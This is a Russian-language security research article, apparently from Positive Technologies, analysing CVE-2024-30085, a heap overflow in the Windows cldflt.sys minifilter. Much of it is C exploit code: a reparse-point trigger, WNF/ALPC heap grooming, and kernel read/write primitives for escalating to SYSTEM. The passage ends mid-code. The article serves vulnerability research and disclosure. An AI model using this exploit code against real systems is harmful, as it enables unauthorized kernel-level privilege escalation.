Как стать автором
Обновить
Positive Technologies
Лидер результативной кибербезопасности

Повышаем привилегии в Windows через CVE-2024-30085

Уровень сложностиСложный
Время на прочтение21 мин
Количество просмотров6.4K

CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.

Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.

Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.

В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.

Оглавление

Минифильтры

cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.

 

Рисунок 1. Варианты представления файлов
Рисунок 1. Варианты представления файлов

Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.

Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:

  1. Минифильтры, устанавливаемые антивирусным ПО (сканируют и проверяют файлы).

  2. Минифильтры, устанавливаемые криптографическими средствами (шифруют/дешифруют файлы).

  3. Минифильтры облачных хранилищ.

Узнать, какие минифильтры есть в системе, можно через команду fltmc.

Рисунок 2. Вывод команды fltmc
Рисунок 2. Вывод команды fltmc

Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.

На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.

Рисунок 3. Диаграмма пути I/O-запроса к файловой системе. Источник: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts
Рисунок 3. Диаграмма пути I/O-запроса к файловой системе. Источник: https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts

Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.

Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на примере минифильтра miniSpy:

CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
    { IRP_MJ_CREATE,
      0,
      SpyPreOperationCallback,
      SpyPostOperationCallback },
…

Если встретите код минифильтра, колбэки нужно искать в этом массиве.

Рисунок 4. Обработка IRP_MJ_CREATE
Рисунок 4. Обработка IRP_MJ_CREATE

И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.

Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.

Windows Cloud Files Mini Filter

В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.

Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.

Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.

Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).

В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.

Вот так выглядит этот буфер для символьной ссылки.

Рисунок 5. Reparse point символьной ссылки
Рисунок 5. Reparse point символьной ссылки

А Windows Cloud Files Mini Filter использует его для представления файлов, хранимых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.

Рисунок 6. Варианты представления файла
Рисунок 6. Варианты представления файла

Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.

Root Cause Analysis

Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.

Рисунок 7. Crash
Рисунок 7. Crash

В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:

typedef struct _ITEM {
    WORD Code;
    WORD Size;
    DWORD Offset;
} ITEM;

typedef struct _REPARSE_CLD_BITMAP {
    DWORD Tag;
    DWORD Crc32;
    DWORD Size;
    WORD Flags;
    WORD NumBtmpItems;
    ITEM Items[0x5];
    BYTE ItemBtmpData0;
    BYTE ItemBtmpData1;
    BYTE ItemBtmpData2;
    UINT64 ItemBtmpData3;
    BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;

typedef struct _REPARSE_CLD_BUFFER {
    DWORD Tag_pRef;
    DWORD Crc32;
    DWORD Size;
    WORD Reserved;
    WORD NumCldItems;
    ITEM Items[0xA];
    BYTE ItemData0;
    DWORD ItemData1;
    UINT64 ItemData2;
    UINT64 ItemData3;
    REPARSE_CLD_BITMAP bitmap0;
    REPARSE_CLD_BITMAP bitmap1;
    REPARSE_CLD_BITMAP bitmap2;
    UINT64 ItemData7;
    UINT64 ItemData8;
    DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;

typedef struct _REPARSE_DATA_BUFFER {
    DWORD ReparseTag;
    WORD ReparseDataLength;
    WORD Reserved;
    WORD Flags;
    WORD UncompressedSize;
    REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

Как видно, у Reparse Point есть поля ReparseCldBuffer.bitmap{1,2,3}, которые, в свою очередь, имеют поле ItemBtmpData4 размером 0x1000 байт. Для чего именно нужны эти битмапы, неизвестно, но для целей эксплуатации это и не требуется.

И оказалось, что, манипулируя остальными полями, можно добиться переполнения блока памяти, который выделялся под ItemBtmpData4 у любого из ReparseCldBuffer.bitmap{1,2,3}. Рассмотрим подробнее.

Аллокация 0x1000 байт и копирование ItemBtmpData4 в эту память происходят в функции HsmIBitmapNORMALOpen:

Рисунок 8. HsmIBitmapNORMALOpen, выделение 0x1000 байт, копирование туда >0x1000 байт
Рисунок 8. HsmIBitmapNORMALOpen, выделение 0x1000 байт, копирование туда >0x1000 байт

Проверка переменной bitmap_size происходит в функции HsmpBitmapIsReparseBufferSupported, и она возвращает ошибку, если размер больше чем 0x1000.

Рисунок 9. Проверка размера битмапа в функции HsmpBitmapIsReparseBufferSupported
Рисунок 9. Проверка размера битмапа в функции HsmpBitmapIsReparseBufferSupported

Однако в той же функции еще до проверки bitmap_size проверялось поле bitmap->ItemBtmpData2. Если оно было нулевым, то функция пропускала последующие проверки и данные оказывались валидными.

Рисунок 10. Пропуск проверок
Рисунок 10. Пропуск проверок

Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.

Эксплуатация

Подготовка

По умолчанию на свежей системе минифильтр Windows Cloud Files Mini Filter (CldFlt) отключен. Чтобы включить его и настроить на нужную папку, нужно воспользоваться Cloud API, а именно функцией CfRegisterSyncRoot.

#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
    CF_SYNC_REGISTRATION reg = { 0 };
    reg.StructSize = sizeof(reg);
    reg.ProviderName = L"test";
    reg.ProviderVersion = L"1.0";
    reg.ProviderId = { 0xB196E670, 0x59C7, 0x4D41, { 0 } };
    CF_SYNC_POLICIES policies = { 0 };
    policies.StructSize = sizeof(policies);
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
    policies.InSync = CF_INSYNC_POLICY_NONE;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    NTSTATUS ntRet = CfRegisterSyncRoot(dir, &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (!NT_SUCCESS(ntRet)) {
        printf("[-] CfRegisterSyncRoot failed\n");
        return false;
    }
    return true;
}

Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.

 Чтобы убедиться, что CldFlt включился, можно воспользоваться командой fltmc instances.

Рисунок 11 Список минифильтров в системе
Рисунок 11 Список минифильтров в системе

Далее необходимо установить для папки Reparse Point, тогда он попадет в HsmFltPostCREATE, где будет обработан и вызовет переполнение. Установить можно так:

void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
    ULONG returned;
    BOOL status;
    HANDLE hOverwrite;

    hOverwrite = CreateFileW(
        dir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (FAILED(hOverwrite)) {
        printf("[-] trigger failed: CreateFileW\n");
    }

    status = DeviceIoControl(
        hOverwrite,
        FSCTL_SET_REPARSE_POINT,
        data,
        dataLength,
        NULL,
        0,
        &returned,
        NULL
    );

    if (!status) {
        printf("[-] trigger failed: DeviceIoControl\n");
    }

    CloseHandle(hOverwrite);

    return;
}

Здесь data — это содержимое Reparse Point, dataLength — размер данных.

 Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.

Craft Reparse Point

Выше приводилась структура Reparse Point, но так она должна выглядеть для нормального использования. Добавим в нее поле для данных, которые будут переполнять память. Точнее, править будем тип REPARSE_CLD_BITMAP, остальная структура останется прежней:

typedef struct _WNF_DATA {
    UINT32 header;
    UINT32 allocated_size;
    UINT32 data_size;
    UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;

typedef struct _REPARSE_CLD_BITMAP {
    DWORD Tag;
    DWORD Crc32;
    DWORD Size;
    WORD Flags;
    WORD NumBtmpItems;
    ITEM Items[0x5];
    BYTE ItemBtmpData0;
    BYTE ItemBtmpData1;
    BYTE ItemBtmpData2;
    UINT64 ItemBtmpData3;
    BYTE ItemBtmpData4[0x1000];
    WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;

То есть здесь добавилось поле wnfData размером 0x10 байт.

 Дело в том, что благодаря переполнению мы получаем возможность залезть в соседний c ItemBtmpData4 блок памяти. И поэтому необходимо разместить там какие-нибудь интересные объекты, переписав свойства которых мы получим примитивы на чтение и запись.

 Критерии выбора объектов такие:

  1. Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.

  2. Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.

  3. Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.

Наш эксплойт использует WNF и ALPC подсистемы.

У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.

Разберем по отдельности, что такое WNF и ALPC.

WNF (Windows Notification Facility)

WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.

В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.

Больше подробностей на разных ресурсах

Создание объектов произвольного размера

std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;

BOOL WnfCreateChunk() {
	ULONG64 ns;
	WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
	WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;

	SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
	memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
	sd->Revision = 0x1;
	sd->Sbz1 = 0;
	sd->Control = 0x000000800c;
	sd->Owner = NULL;
	sd->Group = (PSID)0;
	sd->Sacl = (PACL)0;
	sd->Dacl = (PACL)0;

	UINT32 wnfHeaderSize = 0x10;
	UINT32 wnfChunkSize = 0x1000;
	UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
	std::vector<UINT8> buf;
	buf.reserve(wnfDataSize);

	INT32 r1 = 0, r2 = 0;

	r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
	r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);

	g_wnfNames[g_wnfNamesIt++] = ns;

	if (r1 != 0 || r2 != 0) {
		printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n", r1, r2);
		return false;
	}
	
	return true;
}

Эта функция создает объект WNF_NAME_INSTANCE в ядре, ядро выдает идентификатор ns, который сохраняется в глобальном массиве g_wnfNames.

Сам объект WNF_NAME_INSTANCE имеет размер всего 0xa8, но у него есть поле WNF_STATE_DATA, у которого размер произволен и в нашем конкретном случае равен 0x1000. 0x10 байт составляют служебные поля, остальные 0xff0 — данные.

Рисунок 12. Структура WNF
Рисунок 12. Структура WNF

Относительные примитивы

Самые интересные поля — это AllocatedSize и DataSize.

Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.

Так как блоки памяти выделяются по случайным адресам, то, чтобы битмап встал рядом с WNF_STATE_DATA и переполнил его, понадобится очень много объектов WNF_NAME_INSTANCE. Какой-то из них будет захвачен с большой долей вероятности. Поэтому в коде присутствует массив g_wnfNames.

А ограниченные примитивы на чтение и запись выглядят так:

BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
	WNF_CHANGE_STAMP stamp = 0;
	INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
	return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
	INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
	return r == 0;
}

Здесь wnfCorrupted — это индекс объекта WNF_NAME_INSTANCE с переполненным полем WNF_STATE_DATA.

Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:

INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
	WNF_CHANGE_STAMP stamp = 0;
	ULONG legitBufSize = 0xff0;
	ULONG delta = 0x1;
	ULONG overflowenBufSize = legitBufSize + delta;
	UINT32 status = 0;

	std::vector<UINT8> buf;
	buf.reserve(overflowenBufSize);

	for (UINT32 i = 0; i < wnfNamesCount; i++) {
		if (!wnfNames[i]) {
			continue;
		}
		status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
		overflowenBufSize = legitBufSize + delta;

		if (status == BUFFER_TOO_SMALL) {
			return i;
		}
	}

	return -1;
}

NtQueryWnfStateData возвращает данные из массива WNF_STATE_DATA.Data в буфер buf. Внутри ядра эту работу выполняет функция ExpWnfReadStateData. Если передать в NtQueryWnfStateData массив, размер которого меньше, чем WNF_STATE_DATA.Data, то сработает защита от переполнения.

Рисунок 13 Откуда берется ошибка BUFFER_TOO_SMALL
Рисунок 13 Откуда берется ошибка BUFFER_TOO_SMALL

На этой особенности и строится детект: объект WNF_NAME_INSTANCE, который не сможет записать данные из WNF_STATE_DATA.Data в большой буфер, — искомый.

Весь объект WNF_STATE_DATA занимает 0x1000 байт, 0x10 — это заголовок, размер данных — 0xff0. Значит, данные должны уместиться в любой буфер, размер которого >= 0xff0. Единственная причина, почему места может не хватить, — это объект WNF_STATE_DATA с DataSize > 0xff0. А такое поле есть только у искомого объекта.

В результате переполнения в WNF_STATE_DATA.DataSize будет 0xff0 + 0x10, потому что этого будет достаточно, чтобы добраться до ALPC, но об этом позже.

Удаление объектов

Удаляются объекты через функцию _NtDeleteWnfStateData:

BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
	ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
	if (r != 0) {
		printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfNameIndex);
		return false;
	}
	wnfNames[wnfNameIndex] = 0x0;
	return true;
}

Таким образом, через WNF можно:

  1. Создавать в ядерной памяти объекты WNF_STATE_DATA произвольного размера.

  2. Читать/писать до 0x1000 байт за пределами массива WNF_STATE_DATA.Data.

  3. Удобно удалять объекты.

Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.

ALPC (Asynchronous Local Procedure Call)

ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.

Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.

Подробный разбор про сам ALPC есть, например, здесь:

https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html

В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.

Создание объектов произвольного размера

Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.

Рисунок 14. Порты ALPC
Рисунок 14. Порты ALPC

У серверного порта внутри есть таблица для входящих и исходящих сообщений.

Рисунок 15. ALPCHANDLE_ENTRY
Рисунок 15. ALPCHANDLE_ENTRY

На рисунке — тип ALPC_HANDLE_ENTRY, таблица хэндлов для сообщений. Она может быть произвольного размера, что поможет создавать блоки размером 0x1000 байт.

Каждый хэндл хранит адрес буфера, в который ядро пишет и из которого читает сообщения для сервера. Обе операции дергаются через метод NtAlpcSendWaitReceivePort. Подменив какой-либо хэндл на свой, мы получим возможность читать и писать в буфер этого хэндла.

И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно. 

Получается, что нужно создать фейковый объект типа _KALPC_RESERVE и через цепочку переполнений прописать его адрес в таблице _ALPC_HANDLE_ENTRY по индексу 0, например. Попробуем это сделать.

Серверный порт создается так:

BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
	ALPC_PORT_ATTRIBUTES serverPortAttr;
	OBJECT_ATTRIBUTES    oaPort;
	HANDLE               hPort;
	NTSTATUS             ntRet;
	UNICODE_STRING       usPortName;
	WCHAR				 wszPortName[64];

	swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, portIndex);
	RtlInitUnicodeString(&usPortName, wszPortName);
	InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
	RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
	serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
	ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &serverPortAttr);
	if (!NT_SUCCESS(ntRet))
		return FALSE;

	return TRUE;
}

Эта функция определяет имя порта и вызывает метод NtAlpcCreatePort, который возвращает идентификатор и сохраняет его в массиве, так как портов будет много. Причина такая же, как и в случае с WNF, — борьба с рандомизацией адресов.

Клиенты теперь могут отправлять сообщения по адресу wszPortName. На самом деле, для нас это неважно, так как клиентов не будет. Но через CVE-2024-30085 и WNF мы заставим ALPC считать, что по произвольному адресу в ядерной памяти лежит сообщение для сервера, и попросим или выдать информацию оттуда, или записать туда нашу.

Таблица _ALPC_HANDLE_ENTRY должна быть размером 0x1000 байт, и вот как заставить ядро создать ее:

BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
	HANDLE hPort;
	HANDLE hResource;
	NTSTATUS ntRet;

	hPort = phPorts[portIndex];
	for (UINT j = 0; j < reservesCount; j++) {
		ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
		if (!NT_SUCCESS(ntRet)) {
			printf("[-] AllocateALPCReserveHandle failed with %lx code\n", ntRet);
			return FALSE;
		}	
		if (g_hResource == NULL) {	// save only the very first
			g_hResource = hResource;
		}
	}
	return TRUE;
}

BOOL AlpcCreateChunk(UINT32 port_index) {
	BOOL bRet;

	bRet = CreateALPCPort(gports, port_index);
	if (!bRet) {
		printf("[-] CreateALPCPorts failed\n");
		return false;
	}

	CONST ULONG poolAlHaSize = 0x1000;
	CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;

	bRet = AllocateALPCReserveHandle(gports, port_index, reservesCount);
	if (!bRet) {
		printf("[-] AllocateALPCReserveHandle failed\n");
		return false;
	}

	return true;
}

Таблица удваивается каждый раз, когда заканчивается место, поэтому нужно зарезервировать (0x1000 / 2 /sizeof(ULONG_PTR)) + 1 хэндлов.

Полноценный примитив на запись

Предположим, что мы создали множество портов и контролируем нулевой хэндл нулевого порта в _ALPC_HANDLE_ENTRY.

Тогда примитив на запись будет выглядеть так:

KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;

BYTE* AlpcGetFakeMessage() {
	return (BYTE*)gfakeKalpcReserve;
}

void AlpcMakeFakeMessage() {
	gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
	gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
	gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
	gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);

	gfakeKalpcReserveObject[1] = 0x7;
	gfakeKalpcReserveObject[8] = 0x1;
	gfakeKalpcMessageObject[8] = 0x1;

	gfakeKalpcReserve->Size = 0x28;
	gfakeKalpcReserve->Message = gfakeKalpcMessage;

	gfakeKalpcMessage->Reserve = gfakeKalpcReserve;

	galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));

}

BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
	NTSTATUS ntRet;

	memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
	memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
	gfakeKalpcReserveObject[1] = 0x7;
	gfakeKalpcReserveObject[8] = 0x1;
	gfakeKalpcMessageObject[8] = 0x1;

	gfakeKalpcReserve->Size = 0x28;
	gfakeKalpcReserve->Message = gfakeKalpcMessage;
	gfakeKalpcMessage->Reserve = gfakeKalpcReserve;

	gfakeKalpcMessage->ExtensionBuffer = addr;
	gfakeKalpcMessage->ExtensionBufferSize = bufSz;

	ULONG DataLength = bufSz;
	memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
	galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
	galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
	galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
	ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));

	memcpy(pAlpcMsgData, buf, bufSz);

	for (int i = 0; i < portsCount; i++) {
		ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);
		
	}
	return true;
}

Отправка сообщения идет через метод NtAlpcSendWaitReceivePort в цикле по всем портам. Дело в том, что мы заранее не будем знать, какой порт захватили, знаем только, что он где-то там. Поэтому производится массированное обращение по всем портам.

Полноценный примитив на чтение

Вызов NtAlpcSendWaitReceivePort на чтение — блокирующий, и непонятно, как сообщить ядру, что данные готовы к отправке. Поэтому этот примитив работает по-другому — через примитив на запись и пайп:

BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
	BOOL bRet;
	CHAR pipeName[] = "xxx";

	UINT32 pipeValueOffset = 0x20;
	ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeValueOffset;
	ULONG_PTR* payload = (ULONG_PTR*)calloc(2, 8);

	payload[0] = addr;
	payload[1] = 0x00787878; //xxx\x00

	if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload, 0x10)) {
		printf("[-] AlpcArbitraryRead failed: AlpcArbitraryWrite\n");
		//return false;
	}

	bRet = PipeReadAttr(pipeName, buf, bufSz);
	if (!bRet) {
		printf("[-] AlpcArbitraryRead failed: PipeReadAttr\n");
		return false;
	}

	return true;

}

Схема такая:

  1. Создается пайп с атрибутом.

  2. Адрес значения атрибута подменяется на свой адрес.

  3. Читая атрибут, в ответ получаем содержание адреса.

А выяснить, по какому адресу лежит пайп, можно через утечку.

ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.

Рисунок 16. Ключевые структуры (красным выделены переполняемые поля)
Рисунок 16. Ключевые структуры (красным выделены переполняемые поля)

LPE

Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:

  1. Размещаем наборы из двух объектов WNF_STATE_DATA и одного ALPC_HANDLE_ENTRY примерно 5000 раз.

  2. Удаляем каждый первый WNF_STATE_DATA в наборе.

  3. Размещаем битмап, который должен будет встать на одно из освободившихся мест.

Таким образом, все объекты с большой долей вероятности будут расположены рядом.

Рисунок 17. Как должны располагаться объекты в памяти
Рисунок 17. Как должны располагаться объекты в памяти

В результате через переполнение в обработке битмапа мы получаем контроль над _WNF_STATE_DATA, который позволяет переполнить лежащий за ним объект _ALPC_HANDLE_ENTRY.

В коде это выглядит так:

UINT32 portsCount = 5000;
UINT32  I;
for (i = 0; i < portsCount; i++) {
    if (!WnfCreateChunk())
        break;
    if (!WnfCreateChunk())
        break;
    if (!AlpcCreateChunk(i))
        break;
}
printf("[*] Created %d chunks\n", i);

if (i != portsCount) {
    printf("[-] Creating chunks are failed\n");
    return -1;
}

// create holes
for (UINT32 i = 4000; i < portsCount; i += 2) {
    if (!WnfDeleteChunk(i)) {
        return -1;
    }
}

Правильно заполненный Reparse Point выглядит так:

void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
    pReparseDataBuffer->ReparseTag = 0x9000301a;
    pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
    pReparseDataBuffer->Reserved = 0x00;
    pReparseDataBuffer->Flags = 0x1;
    pReparseDataBuffer->UncompressedSize = 0xAA; // no matter

    PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;

    pReparseCldBuffer->Tag_pRef = 0x70526546;
    pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
    pReparseCldBuffer->Reserved = 0x2;
    pReparseCldBuffer->NumCldItems = 0xa;

    pReparseCldBuffer->Items[0].Code = 0x7;
    pReparseCldBuffer->Items[0].Size = 0x1;
    pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;

    pReparseCldBuffer->Items[1].Code = 0xa;
    pReparseCldBuffer->Items[1].Size = 0x4;
    pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;

    pReparseCldBuffer->Items[2].Code = 0x6;
    pReparseCldBuffer->Items[2].Size = 0x8;
    pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;

    pReparseCldBuffer->Items[3].Code = 0x11;
    pReparseCldBuffer->Items[3].Size = 0x8;
    pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;


    pReparseCldBuffer->Items[4].Code = 0x11;
    pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
    pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;

    pReparseCldBuffer->Items[5].Code = 0x11-1;
    pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
    pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;

    pReparseCldBuffer->Items[6].Code = 0x11-1;
    pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
    pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;


    pReparseCldBuffer->Items[7].Code = 0x6;
    pReparseCldBuffer->Items[7].Size = 0x8;
    pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;

    pReparseCldBuffer->Items[8].Code = 0x6;
    pReparseCldBuffer->Items[8].Size = 0x8;
